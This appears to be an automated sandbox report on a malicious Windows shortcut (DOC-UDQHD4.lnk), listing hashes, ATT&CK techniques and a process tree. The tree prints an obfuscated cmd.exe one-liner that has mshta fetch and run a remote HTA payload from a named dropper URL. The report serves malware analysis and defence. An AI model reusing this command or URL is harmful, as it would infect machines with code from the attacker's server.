b3c14c2734d12713edb4d6052584a63724733daff67fe17e05eda054d88d8de5

Analysis

max time kernel
148s
max time network
129s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:25

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General

Target
DOC-UDQHD4.lnk
Size 1KB
Sample260804-kbftkazzht
SHA256 b3c14c2734d12713edb4d6052584a63724733daff67fe17e05eda054d88d8de5
MD5 cbfcdb74d5f48f32ad71174f94eee92d
SHA1 16467db52b66a4c44f560dc56a2a8ca6bb6c2925
SHA512 fb99c24e6ff946d752dd23de39f2c2f234a512bc5785e0ad1e3104569b89b3ba6bf53ba6826cc75f2ebc3ef179192a178161791a3212a5929f098bab9b9f5262
TLSH
T1BF314C502FED0518F3F38F7794BB571449BAB8558D20C61D0141454D5422A15E67AF77
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
924	cmd.exe
3292	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 924 wrote to memory of 3292	924	cmd.exe	91
PID 3292 wrote to memory of 4508	3292	cmd.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-UDQHD4.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:924
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set nNN=msh&&set cd=ta&&start "" !nNN!!cd! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3292
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:4508

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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